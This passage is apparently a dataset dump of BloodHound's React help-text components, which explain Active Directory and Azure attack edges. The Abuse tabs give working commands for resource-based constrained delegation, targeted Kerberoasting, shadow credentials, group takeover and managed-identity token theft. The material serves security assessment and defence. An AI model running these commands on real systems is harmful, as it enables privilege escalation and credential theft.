text stringlengths 9 39.2M | dir stringlengths 26 295 | lang stringclasses 185
values | created_date timestamp[us] | updated_date timestamp[us] | repo_name stringlengths 1 97 | repo_full_name stringlengths 7 106 | star int64 1k 183k | len_tokens int64 1 13.8M |
|---|---|---|---|---|---|---|---|---|
```jsx
import React from 'react';
const Opsec = () => {
return <p>Azure will log any role activation event for any object type.</p>;
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZUserAccessAdministrator/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 39 |
```jsx
import React from 'react';
const General = () => {
return (
<p>
The Azure App runs as the Service Principal when it needs to
authenticate to the tenant
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZRunsAs/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 51 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<p>
This edge should be taken into consideration when abusing control of
an app. Apps authenticate with service principals to the tenant, so
if you have control of an app, what you are abusing is that control
plus the fact that the app runs as a privileged service principal
</p>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZRunsAs/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 90 |
```jsx
import React from 'react';
const Opsec = () => {
return <p>No opsec considerations for this edge.</p>;
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZRunsAs/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 34 |
```jsx
import React from 'react';
const References = () => {
return <a href='path_to_url go here</a>;
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZRunsAs/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 32 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZRunsAs = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZRunsAs.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZRunsAs;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZRunsAs/AZRunsAs.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 227 |
```jsx
import React from 'react';
const WindowsAbuse = () => {
return (
<>
Abusing this primitive is currently only possible through the Rubeus
project. First, if an attacker does not control an account with an
SPN set, Kevin Robertson's Powermad project can be used to add a new
attacker-controlled computer account:
<pre>
<code>
"New-MachineAccount -MachineAccount attackersystem -Password
$(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)"
</code>
</pre>
PowerView can be used to then retrieve the security identifier (SID)
of the newly created computer account:
<pre>
<code>
'$ComputerSid = Get-DomainComputer attackersystem
-Properties objectsid | Select -Expand objectsid'
</code>
</pre>
We now need to build a generic ACE with the attacker-added computer
SID as the principal, and get the binary bytes for the new DACL/ACE:
<pre>
<code>
'$SD = New-Object
Security.AccessControl.RawSecurityDescriptor -ArgumentList
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"\n'
+ '$SDBytes = New-Object byte[] ($SD.BinaryLength)\n' +
'$SD.GetBinaryForm($SDBytes, 0)'
</code>
</pre>
Next, we need to set this newly created security descriptor in the
msDS-AllowedToActOnBehalfOfOtherIdentity field of the comptuer
account we're taking over, again using PowerView in this case:
<pre>
<code>
"Get-DomainComputer $TargetComputer | Set-DomainObject -Set
@{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}"
</code>
</pre>
We can then use Rubeus to hash the plaintext password into its
RC4_HMAC form:
<pre>
<code>'Rubeus.exe hash /password:Summer2018!'</code>
</pre>
And finally we can use Rubeus' *s4u* module to get a service ticket
for the service name (sname) we want to "pretend" to be "admin" for.
This ticket is injected (thanks to /ptt), and in this case grants us
access to the file system of the TARGETCOMPUTER:
<pre>
<code>
'Rubeus.exe s4u /user:attackersystem$
/rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin
/msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt'
</code>
</pre>
</>
);
};
export default WindowsAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/WriteAccountRestrictions/WindowsAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 645 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import WindowsAbuse from './WindowsAbuse';
import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
const WriteAccountRestrictions = ({
sourceName,
sourceType,
targetName,
targetType,
}) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
/>
</Tab>
<Tab eventKey={2} title='Windows Abuse'>
<WindowsAbuse />
</Tab>
<Tab eventKey={3} title='Linux Abuse'>
<LinuxAbuse />
</Tab>
<Tab eventKey={4} title='Opsec'>
<Opsec />
</Tab>
<Tab eventKey={5} title='Refs'>
<References />
</Tab>
</Tabs>
);
};
WriteAccountRestrictions.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default WriteAccountRestrictions;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/WriteAccountRestrictions/WriteAccountRestrictions.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 290 |
```jsx
import React from 'react';
import { groupSpecialFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName }) => {
return (
<>
<p>
{groupSpecialFormat(sourceType, sourceName)} has write rights on
all properties in the User Account Restrictions property set.
Having write access to this property set translates to the
ability to modify several attributes on computer {targetName},
among which the msDS-AllowedToActOnBehalfOfOtherIdentity
attribute is the most interesting. The other attributes in this
set are listed in Dirk-jan's blog on this topic (see
references).
</p>
<p>
The ability to modify the
msDS-AllowedToActOnBehalfOfOtherIdentity property allows an
attacker to abuse resource-based constrained delegation to
compromise the remote computer system. This property is a binary
DACL that controls what security principals can pretend to be
any domain user to the particular computer object.
</p>
<p>
If the msDS-AllowedToActOnBehalfOfOtherIdentity DACL is set to
allow an attack-controller account, the attacker can use said
account to execute a modified S4U2self/S4U2proxy abuse chain to
impersonate any domain user to the target computer system and
receive a valid service ticket "as" this user.
</p>
<p>
One caveat is that impersonated users can not be in the
"Protected Users" security group or otherwise have delegation
privileges revoked. Another caveat is that the principal added
to the msDS-AllowedToActOnBehalfOfOtherIdentity DACL *must* have
a service principal name (SPN) set in order to successfully
abuse the S4U2self/S4U2proxy process. If an attacker does not
currently control an account with a SPN set, an attacker can
abuse the default domain MachineAccountQuota settings to add a
computer account that the attacker controls via the Powermad
project.
</p>
</>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/WriteAccountRestrictions/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 467 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
path_to_url
</a>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url#s4u'>
path_to_url#s4u
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url#new-machineaccount'>
path_to_url#new-machineaccount
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/WriteAccountRestrictions/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 255 |
```jsx
import React from 'react';
const General = () => {
return (
<p>
The Website Contributor role grants full control of the target
Function App or Web App. Full control of either of those types
of resources allows for arbitrary command execution against the
target resoruce.
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZWebsiteContributor/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 75 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZWebsiteContributor = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZWebsiteContributor.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZWebsiteContributor;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZWebsiteContributor/AZWebsiteContributor.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 230 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
Andy Robbins - BARK.ps1
</a>
<br />
<a href='path_to_url
Karl Fosaaen - Lateral Movement in Azure App Services
</a>
<br />
<a href='path_to_url
Andy Robbins - Abusing Azure App Service Managed Identity Assignments
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZWebsiteContributor/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 112 |
```jsx
import React from 'react';
const General = () => {
return (
<>
<p>
This edge is created to link Azure Kubernetes Service
Managed Clusters to the Virtual Machine Scale Sets they
use to execute commands on.
</p>
<p>
The system-assigned identity for the AKS Cluster will
have the Contributor role against the target Resource Group
and its child Virtual Machine Scale Sets.
</p>
</>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZNodeResourceGroup/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 107 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
You will abuse this relationship by executing a command
against the AKS Managed Cluster the edge is emiting from.
You can target any managed identity assignment scoped to
the Virtual Machine Scale Sets under the target Resource Group.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZNodeResourceGroup/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 83 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
You can use BARK's Invoke-AzureRMWebAppShellCommand function
to execute commands on a target Web App. You can use BARK's
New-PowerShellFunctionAppFunction, Get-AzureFunctionAppMasterKeys,
and Get-AzureFunctionOutput functions to execute arbitrary
commands against a target Function App.
</p>
<p>
These functions require you to supply an Azure Resource Manager
scoped JWT associated with the principal that has the privilege
to execute commands on the web app or function app. There are
several ways to acquire a JWT. For example, you may use BARK's
Get-ARMTokenWithRefreshToken to acquire an Azure RM-scoped JWT
by supplying a refresh token:
</p>
<pre>
<code>
{
'$ARMToken = Get-ARMTokenWithRefreshToken `\n' +
' -RefreshToken "0.ARwA6WgJJ9X2qk" `\n' +
' -TenantID "contoso.onmicrosoft.com"'
}
</code>
</pre>
<p>
Now you can use BARK's Invoke-AzureRMWebAppShellCommand function
to execute a command against the target Web App.
For example, to run a simple "whoami" command:
</p>
<pre>
<code>
{
'Invoke-AzureRMWebAppShellCommand `\n' +
' -KuduURI "path_to_url" `\n' +
' -Token $ARMToken `\n' +
' -Command "whoami"'
}
</code>
</pre>
<p>
If the Web App has a managed identity assignments, you can use BARK's
Invoke-AzureRMWebAppShellCommand function to retrieve a JWT for the
managed identity Service Principal like this:
</p>
<pre>
<code>
{
'PS C:\> $PowerShellCommand = ' + '\n' +
' $headers=@{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER}\n' +
' $response = Invoke-WebRequest -UseBasicParsing -Uri "$($env:IDENTITY_ENDPOINT)?resource=path_to_url" -Headers $headers\n' +
' $response.RawContent' + '\n\n' +
'PS C:\> $base64Cmd = [System.Convert]::ToBase64String(\n' +
' [System.Text.Encoding]::Unicode.GetBytes(\n' +
' $PowerShellCommand\n' +
' )\n' +
' )\n\n' +
'PS C:\> $Command = "powershell -enc $($base64Cmd)"\n\n' +
'PS C:\> Invoke-AzureRMWebAppShellCommand `\n' +
' -KuduURI "path_to_url" `\n' +
' -token $ARMToken `\n' +
' -Command $Command'
}
</code>
</pre>
<p>
If successful, the output will include a JWT for the managed identity
service principal.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZWebsiteContributor/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 729 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
Andy Robbins - BARK.ps1
</a>
<br />
<a href='path_to_url
Karl Fosaaen - How To Extract Credentials from Azure Kubernetes Service (AKS)
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZNodeResourceGroup/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 85 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZNodeResourceGroup = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZNodeResourceGroup.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZNodeResourceGroup;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZNodeResourceGroup/AZNodeResourceGroup.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 230 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZManagedIdentity = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZManagedIdentity.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZManagedIdentity;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZManagedIdentity/AZManagedIdentity.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 227 |
```jsx
import React from 'react';
const General = () => {
return (
<p>
Azure resources like Virtual Machines, Logic Apps, and Automation Accounts
can be assigned to either System- or User-Assigned Managed Identities.
This assignment allows the Azure resource to authenticate to Azure services
as the Managed Identity without needing to know the credential for that
Managed Identity. Managed Identities, whether System- or User-Assigned, are
AzureAD Service Principals.
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZManagedIdentity/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 113 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
You can modify the Azure RM resource to execute actions against Azure with the
privileges of the Managed Identity Service Principal.
</p>
<p>
It is also possible to extract a JSON Web Token (JWT) for the Service Principal,
then use that JWT to authenticate as the Service Principal outside the scope of
the Azure RM resource. Here is how you extract the JWT using PowerShell:
</p>
<pre>
<code>
{
'$tokenAuthURI = $env:MSI_ENDPOINT + "?resource=path_to_url"\n' +
'$tokenResponse = Invoke-RestMethod -Method Get -Headers @{"Secret"="$env:MSI_SECRET"} -Uri $tokenAuthURI\n' +
'$tokenResponse.access_token'
}
</code>
</pre>
<p>
We can then use this JWT to authenticate as the Service Principal to the Microsoft
Graph APIs using BARK for example.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZManagedIdentity/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 238 |
```jsx
import React from 'react';
const Opsec = () => {
return <p>This will depend on which particular abuse you perform, but in general Azure will create a log event for each abuse.</p>;
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZManagedIdentity/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 49 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { groupSpecialFormat, typeFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<>
<p>
{groupSpecialFormat(sourceType, sourceName)} generic write
access to the {typeFormat(targetType)} {targetName}.
</p>
<p>
Generic Write access grants you the ability to write to any
non-protected attribute on the target object, including
"members" for a group, and "serviceprincipalnames" for a user
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/GenericWrite/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 177 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import WindowsAbuse from './WindowsAbuse';
import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
const GenericWrite = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
targetType={targetType}
/>
</Tab>
<Tab eventKey={2} title='Windows Abuse'>
<WindowsAbuse
sourceName={sourceName}
sourceType={sourceType}
targetType={targetType}
/>
</Tab>
<Tab eventKey={3} title='Linux Abuse'>
<LinuxAbuse
sourceName={sourceName}
sourceType={sourceType}
targetType={targetType}
/>
</Tab>
<Tab eventKey={4} title='Opsec'>
<Opsec />
</Tab>
<Tab eventKey={5} title='Refs'>
<References />
</Tab>
</Tabs>
);
};
GenericWrite.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default GenericWrite;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/GenericWrite/GenericWrite.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 329 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const WindowsAbuse = ({ sourceName, sourceType, targetType }) => {
switch (targetType) {
case 'Group':
return (
<>
<p>
GenericWrite to a group allows you to directly modify
group membership of the group.
</p>
<p>
There are at least two ways to execute this attack. The
first and most obvious is by using the built-in net.exe
binary in Windows (e.g.: net group "Domain Admins"
harmj0y /add /domain). See the opsec considerations tab
for why this may be a bad idea. The second, and highly
recommended method, is by using the
Add-DomainGroupMember function in PowerView. This
function is superior to using the net.exe binary in
several ways. For instance, you can supply alternate
credentials, instead of needing to run a process as or
logon as the user with the AddMember privilege.
Additionally, you have much safer execution options than
you do with spawning net.exe (see the opsec tab).
</p>
<p>
To abuse this privilege with PowerView's
Add-DomainGroupMember, first import PowerView into your
agent session or into a PowerShell instance at the
console. You may need to authenticate to the Domain
Controller as
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainGroupMember,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainGroupMember, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
"Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred"
}
</code>
</pre>
<p>
Finally, verify that the user was successfully added to
the group with PowerView's Get-DomainGroupMember:
</p>
<pre>
<code>
{"Get-DomainGroupMember -Identity 'Domain Admins'"}
</code>
</pre>
</>
);
case 'User':
return (
<>
<p>
A targeted kerberoast attack can be performed using
PowerView's Set-DomainObject along with
Get-DomainSPNTicket.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Set-DomainObject, first
create a PSCredential object (these examples comes from
the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Set-DomainObject, optionally specifying $Cred
if you are not already running a process as {sourceName}
:
</p>
<pre>
<code>
{
"Set-DomainObject -Credential $Cred -Identity harmj0y -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}"
}
</code>
</pre>
<p>
After running this, you can use Get-DomainSPNTicket as
follows:
</p>
<pre>
<code>
{
'Get-DomainSPNTicket -Credential $Cred harmj0y | fl'
}
</code>
</pre>
<p>
The recovered hash can be cracked offline using the tool
of your choice. Cleanup of the ServicePrincipalName can
be done with the Set-DomainObject command:
</p>
<pre>
<code>
{
'Set-DomainObject -Credential $Cred -Identity harmj0y -Clear serviceprincipalname'
}
</code>
</pre>
</>
);
case 'GPO':
return (
<>
<p>
With GenericWrite on a GPO, you may make modifications
to that GPO which will then apply to the users and
computers affected by the GPO. Select the target object
you wish to push an evil policy down to, then use the
gpedit GUI to modify the GPO, using an evil policy that
allows item-level targeting, such as a new immediate
scheduled task. Then wait for the group
policy client to pick up and execute the new evil
policy. See the references tab for a more detailed write
up on this abuse.
</p>
<p>
This edge can be a false positive in rare scenarios. If you have
GenericWrite on the GPO with 'This object only' (no inheritance)
and no other permissions in the ACL, it is not possible to add or
modify settings of the GPO. The GPO's settings are stored in
SYSVOL under a folder for the given GPO. Therefore, you need write
access to child objects of this folder or create child objects
permission. The security descriptor of the GPO is reflected on
the folder, meaning permissions to write child items on the GPO
are required.
</p>
</>
);
case 'Computer':
return (
<>
<p>
Generic write to a computer object can be used to
perform a resource based constrained delegation attack.
</p>
<p>
Abusing this primitive is currently only possible
through the Rubeus project.
</p>
<p>
First, if an attacker does not control an account with
an SPN set, Kevin Robertson's Powermad project can be
used to add a new attacker-controlled computer account:
</p>
<pre>
<code>
{
"New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)"
}
</code>
</pre>
<p>
PowerView can be used to then retrieve the security
identifier (SID) of the newly created computer account:
</p>
<pre>
<code>
{
'$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid'
}
</code>
</pre>
<p>
We now need to build a generic ACE with the
attacker-added computer SID as the principal, and get
the binary bytes for the new DACL/ACE:
</p>
<pre>
<code>
{'$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"' +
'$SDBytes = New-Object byte[] ($SD.BinaryLength)\n' +
'$SD.GetBinaryForm($SDBytes, 0)'}
</code>
</pre>
<p>
Next, we need to set this newly created security
descriptor in the
msDS-AllowedToActOnBehalfOfOtherIdentity field of the
comptuer account we're taking over, again using
PowerView in this case:
</p>
<pre>
<code>
{
"Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}"
}
</code>
</pre>
<p>
We can then use Rubeus to hash the plaintext password
into its RC4_HMAC form:
</p>
<pre>
<code>{'Rubeus.exe hash /password:Summer2018!'}</code>
</pre>
<p>
And finally we can use Rubeus' *s4u* module to get a
service ticket for the service name (sname) we want to
"pretend" to be "admin" for. This ticket is injected
(thanks to /ptt), and in this case grants us access to
the file system of the TARGETCOMPUTER:
</p>
<pre>
<code>
{
'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt'
}
</code>
</pre>
</>
);
}
};
WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetType: PropTypes.string,
};
export default WindowsAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/GenericWrite/WindowsAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 2,135 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url#s4u'>
path_to_url#s4u
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url#new-machineaccount'>
path_to_url#new-machineaccount
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/GenericWrite/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 237 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const LinuxAbuse = ({ sourceName, sourceType, targetType }) => {
switch (targetType) {
case 'Group':
return (
<>
<p>
GenericWrite to a group allows you to directly modify
group membership of the group.
</p>
<p>
Use samba's net tool to add the user to the target group. The credentials can be supplied in cleartext
or prompted interactively if omitted from the command line:
</p>
<pre>
<code>
{
'net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
}
</code>
</pre>
<p>
Pass-the-hash can also be done here with <a href='path_to_url net tool</a>.
If the LM hash is not known it must be replace with <code>ffffffffffffffffffffffffffffffff</code>.
</p>
<pre>
<code>
{
'pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
}
</code>
</pre>
<p>
Finally, verify that the user was successfully added to the group:
</p>
<pre>
<code>
{
'net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
}
</code>
</pre>
</>
);
case 'User':
return (
<>
<h4> Targeted Kerberoast </h4>
<p>
A targeted kerberoast attack can be performed using{' '}
<a href='path_to_url
</p>
<pre>
<code>
{
"targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'"
}
</code>
</pre>
<p>
The tool will automatically attempt a targetedKerberoast
attack, either on all users or against a specific one if
specified in the command line, and then obtain a crackable hash.
The cleanup is done automatically as well.
</p>
<p>
The recovered hash can be cracked offline using the tool
of your choice.
</p>
<h4> Shadow Credentials attack </h4>
<p>To abuse this privilege, use <a href='path_to_url
<pre>
<code>{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}</code>
</pre>
<p>
For other optional parameters, view the pyWhisker documentation.
</p>
</>
);
case 'Computer':
return (
<>
<h4> Resource-Based Constrained Delegation </h4>
First, if an attacker does not control an account with an
SPN set, a new attacker-controlled computer account can be
added with Impacket's addcomputer.py example script:
<pre>
<code>
{
"addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
}
</code>
